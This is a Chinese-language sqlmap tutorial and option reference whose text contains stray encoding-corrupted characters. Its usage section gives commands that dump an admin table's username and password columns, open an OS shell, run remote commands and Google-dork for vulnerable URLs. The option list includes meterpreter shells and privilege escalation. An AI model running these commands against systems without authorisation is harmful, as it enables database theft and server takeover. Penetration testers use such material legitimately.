簡介:
Sqlmap是一種開源的滲透測試工具,可以自動檢測和利用SQL注入漏洞以及接入該數(shù)據(jù)庫的服務(wù)器铺遂。它擁有非常強(qiáng)大的檢測引擎茎刚、具有多種特性的滲透測試器斗蒋、通過數(shù)據(jù)庫指紋提取訪問底層文件系統(tǒng)并通過外帶連接執(zhí)行命令.
- 支持的數(shù)據(jù)庫: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB
- SQL注入技術(shù): boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
- 枚舉數(shù)據(jù): users, password hashes, privileges, roles, databases, tables and columns.
安裝:
$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
基本使用方法:
GET:
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" // 測試該注入點(diǎn)是否能夠進(jìn)行注入
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dbs // 對注入點(diǎn)進(jìn)行注入,并導(dǎo)出數(shù)據(jù)庫名
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database --tables // 對database這個(gè)數(shù)據(jù)庫進(jìn)行表的猜測
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin --columns // 對database下的admin表中字段進(jìn)行猜測
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin -C user,password --dump
// 對database下的admin表中user和password字段進(jìn)行猜測并dump
POST:
$ python sqlmap.py -r header.txt
$ python sqlmap.py -r header.txt --dbs
...
// -r是從一個(gè)文件中載入HTTP請求
// 其余都與GET一樣將-u部分改成-r
// header.txt
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
id=1
Cookie:
$ python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1" --level=2
...
// 其余與GET一樣,別忘記加上--cookie參數(shù)
其他:
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --os-shell // 獲取遠(yuǎn)程主機(jī)的shell
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --os-cmd="whoami" // 執(zhí)行遠(yuǎn)程主機(jī)的命令
$ python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --is-dba // 檢查DBMS用戶是否為DBA
$ python sqlmap.py -g "inurl:php?id=" // 通過google尋找url帶有php?id=字段的地址
參數(shù)詳解:
Options(選項(xiàng)):
-h, --help 顯示此幫助消息并退出
-hh 顯示詳細(xì)幫助并退出
--version 顯示程序的版本號并退出
-v VERBOSE 詳細(xì)級別:0-6(默認(rèn)為1)
Target(目標(biāo)):
以下至少需要設(shè)置其中一個(gè)選項(xiàng)捞蚂,設(shè)置目標(biāo)URL
-d DIRECT 直接連接到數(shù)據(jù)庫
-u URL, --url=URL 目標(biāo)URL(e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE 從Burp或WebScarab代理的日志中解析目標(biāo)
-x SITEMAPURL 從遠(yuǎn)程sitemap(.xml)文件中解析目標(biāo)
-m BULKFILE 在文件中掃描多個(gè)目標(biāo)
-r REQUESTFILE 從一個(gè)文件中載入HTTP請求
-g GOOGLEDORK 處理Google dork的結(jié)果作為目標(biāo)URL
-c CONFIGFILE 從INI配置文件中加載選項(xiàng)跷究。
Request(請求):
這些選項(xiàng)可以用來指定如何連接到目標(biāo)URL
--method=METHOD 強(qiáng)制使用指定的請求方法(e.g. PUT)
--data=DATA 通過POST發(fā)送的數(shù)據(jù)字符串
--cookie=COOKIE HTTP Cookie頭
--cookie-del=COOKIEDEL 設(shè)置用于分割cookie值的字符
--load-cookies LOADCOOKIES 讀取包含Netsacape/wget格式的cookie文件
--drop-set-cookie 忽略響應(yīng)的Set - Cookie頭信息
--user-agent=AGENT 指定 HTTP User - Agent頭
--random-agent 使用隨機(jī)選定的HTTP User - Agent頭
--host HOST HTTP主機(jī)頭
--referer=REFERER 指定 HTTP Referer頭
--header=HEADER 請求頭(e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 請求頭(e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTHTYPE HTTP身份驗(yàn)證類型(基本俊马,摘要或NTLM)(Basic, Digest or NTLM)
--auth-cred=AUTHCRED HTTP身份驗(yàn)證憑據(jù)(name:password)
--auth-file=AUTHFILE HTTP身份認(rèn)證PEM證書/私鑰文件
--ignore-401 忽略HTTP 401錯(cuò)誤(未經(jīng)授權(quán))
--proxy=PROXY 使用HTTP代理連接到目標(biāo)URL
--ignore-proxy 忽略系統(tǒng)默認(rèn)的HTTP代理
--tor 使用Tor匿名網(wǎng)絡(luò)
--tor-port=TORPORT 設(shè)置Tor代理端口除了默認(rèn)
--tor-type=TORTYPE 設(shè)置Tor代理模式(HTTP, SOCKS4 or SOCKS5 (默認(rèn)))
--check-tor 檢查Tor是否能夠正常使用
--delay=DELAY 在每個(gè)HTTP請求之間的延遲時(shí)間柴我,單位為秒
--timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認(rèn)為30秒)
--retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認(rèn)3)
--randomize=RPARAM 隨意改變給定的參數(shù)值
--safe-url=SAFEURL 在測試過程中經(jīng)常訪問的url地址
--safe-post=SAFEPOST POST發(fā)送數(shù)據(jù)給Safe url
--safe-req=SAFEREQ 從文件中加載安全HTTP請求
--safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
--skip-urlencode Payload數(shù)據(jù)跳過URL編碼
--csrf-token=CSRFTOKEN 使用防CSRF令牌參數(shù)
--csrf-url=CSRFURL 通過URL訪問獲取防CSRF令牌
--force-ssl 強(qiáng)制使用SSL/HTTPS
--hpp 使用HTTP參數(shù)污染
--eval=EVALCODE
使用python代碼(e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization(優(yōu)化):
這些選項(xiàng)可用于優(yōu)化sqlmap的性能聋伦。
-o 開啟所有優(yōu)化開關(guān)
--predict-output 預(yù)測常見的查詢輸出
--keep-alive 使用持久的HTTP(s)連接
--null-connection 從沒有實(shí)際的HTTP響應(yīng)體中檢索頁面長度
--threads=THREADS 最大的HTTP(s)請求并發(fā)量(默認(rèn)為1)
Injection(注入):
這些選項(xiàng)可以用來指定測試哪些參數(shù)界睁, 提供自定義的注入payloads和可選篡改腳本。
-p TESTPARAMETER 可測試的參數(shù)(s)
--skip=SKIP 跳過參數(shù)(s)測試
--skip-static 跳過測試靜態(tài)參數(shù)
--dbms=DBMS 強(qiáng)制后端的DBMS為此值
--dbms-cred=DBMSCRED DBMS身份驗(yàn)證憑據(jù)(username:password)
--os=OS 強(qiáng)制后端的DBMS操作系統(tǒng)為這個(gè)值
--invalid-bignum 使用大數(shù)字參數(shù)的無效值
--invalid-logical 使用邏輯參數(shù)的無效值
--invalid-string 使用字符串參數(shù)的無效值
--no-cast 關(guān)閉Payload的計(jì)算機(jī)制
--no-escape 關(guān)閉字符串的避開機(jī)制
--prefix=PREFIX 注入payload字符串前綴
--suffix=SUFFIX 注入payload字符串后綴
--tamper=TAMPER 使用給定的腳本(s)篡改注入數(shù)據(jù)
Detection(檢測):
這些選項(xiàng)可以用來指定在SQL盲注時(shí)如何解析和比較HTTP響應(yīng)頁面的內(nèi)容逾礁。
--level=LEVEL 執(zhí)行測試的等級(1-5嘹履,默認(rèn)為1)
--risk=RISK 執(zhí)行測試的風(fēng)險(xiǎn)(0-3,默認(rèn)為1)
--string=STRING 查詢時(shí)有效時(shí)在頁面匹配字符串
--regexp=REGEXP 查詢時(shí)有效時(shí)在頁面匹配正則表達(dá)式
--text-only 僅基于在文本內(nèi)容比較網(wǎng)頁
--titles 僅基于在題頭比較網(wǎng)頁
Techniques(技巧):
這些選項(xiàng)可用于調(diào)整具體的SQL注入測試衙解。
--technique=TECH SQL注入技術(shù)測試(默認(rèn)BEUST)
--time-sec=TIMESEC DBMS響應(yīng)的延遲時(shí)間(默認(rèn)為5秒)
--union-cols=UCOLS 定列范圍用于測試UNION查詢注入
--union-char=UCHAR 用于暴力猜解列數(shù)的字符
--union-from=UFROM 在表中使用聯(lián)合查詢的SQL注入在FROM部分
--dns-domain=DNSDOMAIN 打開DNS滲出支持
--second-order=SECONDORDER 搜索第二級響應(yīng)頁面的地址
Fingerprint(指紋):
-f, --fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋
Enumeration(枚舉):
這些選項(xiàng)可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息焰枢、表中的結(jié)構(gòu)和數(shù)據(jù)济锄。此外霍转,您還可以運(yùn)行您自己
的SQL語句。
-a, --all 檢索所有
-b, --banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識
--current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶
--current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫
--is-dba 檢測DBMS當(dāng)前用戶是否DBA
--users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶
--passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希
--privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限
--roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色
--dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫
--tables 枚舉的DBMS數(shù)據(jù)庫中的表
--columns 枚舉DBMS數(shù)據(jù)庫表列
--schema 枚舉DBMS數(shù)據(jù)庫模式
--count 檢索表的條目數(shù)量
--dump 轉(zhuǎn)儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項(xiàng)
--dump-all 轉(zhuǎn)儲所有的DBMS數(shù)據(jù)庫表中的條目
--search 搜索列(s)低滩,表(s)和/或數(shù)據(jù)庫名稱(s)
-D DB 要進(jìn)行枚舉的數(shù)據(jù)庫名
-T TBL 要進(jìn)行枚舉的數(shù)據(jù)庫表
-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫列
-X EXCLUDECOL 不要進(jìn)行枚舉的數(shù)據(jù)庫列
-U USER 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶
--exclude-sysdbs 枚舉表時(shí)排除系統(tǒng)數(shù)據(jù)庫
--pivao-column=PIVALCOLUMN 關(guān)鍵的字段名
--where=DUMPWHERE 使用WHERE的環(huán)境在DUMP表的時(shí)候
--start=LIMITSTART 第一個(gè)查詢輸出進(jìn)入檢索
--stop=LIMITSTOP 最后查詢的輸出進(jìn)入檢索
--first=FIRSTCHAR 第一個(gè)查詢輸出字的字符檢索
--last=LASTCHAR 最后查詢的輸出字字符檢索
--sql-query=QUERY 要執(zhí)行的SQL語句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 從給定的文件(s)中執(zhí)行sql語句
Brute force(蠻力):
這些選項(xiàng)可以被用來運(yùn)行蠻力檢查恕沫。
--common-tables 檢查存在共同表
--common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數(shù)注入):
這些選項(xiàng)可以用來創(chuàng)建用戶自定義函數(shù)纱意。
--udf-inject 注入用戶自定義函數(shù)
--shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統(tǒng)):
這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)。
--file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件
--file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件
--file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑
Operating system access(操作系統(tǒng)訪問):
這些選項(xiàng)可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)迄委。
--os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令
--os-shell 交互式的操作系統(tǒng)的shell
--os-pwn 獲取一個(gè)OOB shell类少,meterpreter或VNC
--os-smbrelay 一鍵獲取一個(gè)OOB shell硫狞,meterpreter或VNC
--os-bof 存儲過程緩沖區(qū)溢出利用
--priv-esc 數(shù)據(jù)庫進(jìn)程用戶權(quán)限提升
--msf-path=MSFPATH Metasploit Framework本地的安裝路徑
--tmp-path=TMPPATH 遠(yuǎn)程臨時(shí)文件目錄的絕對路徑
Windows registry access(Windows注冊表訪問):
這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)Windows注冊表。
--reg-read 讀一個(gè)Windows注冊表項(xiàng)值
--reg-add 寫一個(gè)Windows注冊表項(xiàng)值數(shù)據(jù)
--reg-del 刪除Windows注冊表鍵值
--reg-key=REGKEY Windows注冊表鍵
--reg-value=REGVAL Windows注冊表項(xiàng)值
--reg-data=REGDATA Windows注冊表鍵值數(shù)據(jù)
--reg-type=REGTYPE Windows注冊表項(xiàng)值類型
General(一般):
這些選項(xiàng)可以用來設(shè)置一些一般的工作參數(shù)虏两。
-s SESSIONFILE 保存和恢復(fù)檢索會話文件的所有數(shù)據(jù)
-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中
--batch 從不詢問用戶輸入世剖,使用所有默認(rèn)配置
--binary-fields=BINARYFIELDS 具有二進(jìn)制值的結(jié)果字段(e.g. "digest")
--charset=CHARSET 強(qiáng)制使用用于數(shù)據(jù)檢索的字符編碼
--crawl=CRAWL 從目標(biāo)網(wǎng)址抓取網(wǎng)站
--crawl-exclude=CRAWLEXCLUDE 用正則表達(dá)式排除爬取的頁面(e.g. "logout")
--csv-del=CSVDEL 使用設(shè)定的字符輸出CSV(默認(rèn) ",")
--dump-format=DUMPFORMAT DUMP格式(CSV(默認(rèn)), HTML or SQLITE)
--eta 顯示每個(gè)輸出的預(yù)計(jì)到達(dá)時(shí)間
--flush-session 刷新當(dāng)前目標(biāo)的會話文件
--forms 目標(biāo)網(wǎng)址的解析和測試格式
--fresh-queries 忽略在會話文件中存儲的查詢結(jié)果
--hex 數(shù)據(jù)檢索使用DBMS十六進(jìn)制方法(s)
--output-dir=OUTPUTDIR 自定義輸出目錄
--parse-errors 解析和顯示響應(yīng)中的DBMS錯(cuò)誤信息
--save=SAVECONFIG file保存選項(xiàng)到INI配置文件
--scope=SCOPE 從所提供的代理日志中過濾器目標(biāo)的正則表達(dá)式
--test-filter=TESTFILTER 選擇測試用的payload或標(biāo)題(e.g. ROW)
--test-skip=TESTSKIP 跳過測試用的payload或標(biāo)題(e.g. BENCHMARK)
--update 更新sqlmap
Miscellaneous(雜項(xiàng)):
-z MNEMONICS 使用短記憶法(e.g. "flu,bat,ban,tec=EU")
--alert=ALERT 找到sql注入的時(shí)候,運(yùn)行主機(jī)命令(s)
--answers=ANSWERS 設(shè)置疑問答復(fù)(e.g. "quit=N,follow=N")
--beep 發(fā)現(xiàn)SQL注入時(shí)提醒
--check-payload IDS對注入payloads的檢測測試
--cleanup SqlMap具體的UDF和表清理DBMS
--dependencies 檢測sqlmap的依賴(非核心)
--disable-coloring 關(guān)閉控制臺輸出的顏色
--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結(jié)果
--identity-waf 對WAF/IPS/IDS進(jìn)行全面的測試
--mobile 模仿智能手機(jī)HTTP請求頭
--offline 脫機(jī)模式工作(僅使用會話數(shù)據(jù))
--page-rank Google dork結(jié)果顯示網(wǎng)頁排名(PR)
--purge-output 安全地刪除輸出目錄中的所有內(nèi)容
--skip-waf 跳過探測WAF/IPS/IDS保護(hù)
--smart 如果探測.就進(jìn)行深度測試
--sqlmap-shell 提供一個(gè)與sqlmap互動的shell
--wizard 給初級用戶的簡單向?qū)Ы缑?/p>